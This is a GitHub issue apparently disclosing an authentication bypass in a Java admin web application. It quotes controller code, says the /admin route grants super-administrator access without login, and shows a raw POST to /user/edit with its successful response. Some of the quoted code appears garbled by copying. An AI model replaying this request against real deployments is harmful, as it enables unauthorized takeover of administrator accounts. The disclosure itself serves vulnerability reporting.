

Code

Issues 2

Pull requests

Actions

Projects

Security

Insights

New issue



A fatal error that can access the background without authorization #1

Open

haioudelibaiyi opened 3 weeks ago

...

There are no login restrictions :

```

NoNeedLoginController.java
public class NoNeedLoginController extends BaseAbstractController {
    /**
     * 登陆的具体操作
     * @return
     */
    @RequestMapping({"/", "/login"})
    @MethodLog(type = "登陆")
    public @ResponseBody Object toLogin(String account, String password, HttpServletRequest request) {
        UserVO vo = systemDao.login(account, password);
        getClientENV(request.getSession()).setCurUser(vo);
        // 登陆次数+1
        systemDao.upLastLogin(UserAgentUtil.getRemoteAddr(request), vo.getUserId());
        return getReturnJsonMap();
    }

    /**
     * 刷新静态化页面
     */
    @RequestMapping(values = {"flushPage"})
    public @ResponseBody Object flushPage(String url, HttpServletRequest request) {
        StaticPageUtils.flushPage(url);
        return getReturnJsonMap();
    }
}

```

The routes in the background can be accessed directly:

```

public class CommonController extends BaseAbstractController {
    private SystemDao systemDao;

    /**
     * @param request
     * @return
     */
    @RequestMapping({@"/admin"})
    public String admin(HttpServletRequest request) {
        // 根据用户角色获取权限 获取用户拥有的菜单、页面、按钮
        UserVO user = getCurUser(request.getSession());
        List<AdminPageMenuVO> menus = AdminPageUtils.getHasAdminPageMenus(user.getRole());
        request.setAttribute("menus", menus);
        getClientENV(request.getSession()).setAdminPageMenus(menus);
        request.setAttribute("mustPsChange", getMustPsChange(user));
        return "admin/index";
    }

    /**
     * 查看是否需要修改密码
     * @param user
     * @return
     */
    private boolean getMustPsChange(UserVO user) { 1个用法
        String PSCHANGE_MONTH = Commons.getConfigValue("PSCHANGE_MONTH", defaultValue: "-1");
        if(StringUtil.isNotBlank(user.getPsChangeTime()) || "-1".equals(PSCHANGE_MONTH)) return false;
        String ts = DateTimeUtil.getLastMonthTime(Integer.parseInt(PSCHANGE_MONTH));
    }
}

```

Access the background to obtain super administrator privileges : <http://127.0.0.1:8999/admin>

Add users, view logs, etc

Request

```

1 POST /user/edit?nrTab= HTTP/1.1
2 Host: 127.0.0.1:8999
3 Content-Length: 1218
4 Cache-Control: max-age=0
5 sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
6 sec-ch-ua-mobile: ?0
7 sec-ch-ua-platform: "Windows"
8 Origin: http://127.0.0.1:8999
9 Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryqAXJersUHJ17Xdhz
10
11 ----WebKitFormBoundaryqAXJersUHJ17Xdhz
12 Content-Disposition: form-data; name="primaryKey"
13
14
15 ----WebKitFormBoundaryqAXJersUHJ17Xdhz
16 Content-Disposition: form-data; name="baseWhere"
17
18
19 ----WebKitFormBoundaryqAXJersUHJ17Xdhz
20 Content-Disposition: form-data; name="hideReturn"
21
22
23 ----WebKitFormBoundaryqAXJersUHJ17Xdhz
24 Content-Disposition: form-data; name="hideTitle"
25
26 true
27 ----WebKitFormBoundaryqAXJersUHJ17Xdhz

```

Response

```

1 HTTP/1.1 200
2 Set-Cookie: JSESSIONID=288065E02D94267047BFF85B473320F7; Path=/; HttpOnly
3 Content-Type: text/html;charset=UTF-8
4 Content-Language: zh-CN
5 Content-Length: 223
6 Date: Fri, 18 Apr 2025 07:32:38 GMT
7
8
9 <!DOCTYPE HTML>
10 <html>
11   <head>
12     </head>
13   <body>
14     <script type="text/javascript">
15       parent.parent.layer0&#39;.okShow('操作成功，正在刷新页面……');
16       parent.layer.closeAll();
17     </script>
18   </body>
19 </html>

```

Sign up for free

to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Assignees

No one assigned

Labels

No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

 Code with Copilot Agent Mode

No branches or pull requests

Participants

